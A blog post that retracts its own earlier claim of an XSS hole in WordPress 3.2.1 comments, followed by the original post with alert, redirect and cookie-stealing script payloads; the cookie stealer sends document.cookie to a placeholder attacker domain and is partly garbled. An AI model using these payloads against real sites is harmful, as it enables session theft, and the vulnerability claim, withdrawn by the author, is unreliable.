False Alarm: XSS Vulnerability in WordPress 3.2.1

Dear Friends,

My earlier post about the XSS vulnerability in WordPress 3.2.1 turned out to be a False Alarm. WordPress allows the privileged users to post comments without filtering the HTML tags but for a normal underprivileged user it will filter the tags. I am sorry for the inconvenience. My Intentions were to make all you guys aware of this vulnerability so that you could save your blog from being hacked.

But now I am glad that WordPress is safe. :)

XSS Injection Vulnerability in WordPress 3.2.1

Update: It will work only if you are logged in. Sorry for the false alarm. My intention were to alert the bloggers so that they could safeguard their blogs. For more details Click Here

Bad news for just about every WordPress blogger out there. Thousands of WordPress 3.2.1 installations are at risk of being compromised. It has been found that the latest version 3.2.1 of WordPress, an extremely popular suite of tools for powering blogs, is vulnerable to XSS injection attack which allows users to inject malicious JavaScript as a result of failure in sanitizing the comments field. Without discussing much about what this vulnerability could do to your blog I will jump to how it works and the solution.

How does it work?

Inject one of the below codes into the comment field of the target. Or use your brain to make a more powerful injection

Popup “alert” Box
<script>alert(‘hungry-hackers.com’)</script>

Redirect to www.hungry-hackers.com
<script>document.location=”http://hungry-hackers.com”</script>

Cookie Stealer (need a logging system in place)
<script>document.location=***8221;***91;url***93;http://your-domain/your***91;/url***93; stealer.php?cookie=***8221; + document.cookie;document.location=***8221;http://the-site-you-are-stealing-from.com”</script>

Solution:

Upgrade to the latest version when available, In the meantime disable comments or hold comments for moderation as I did ;)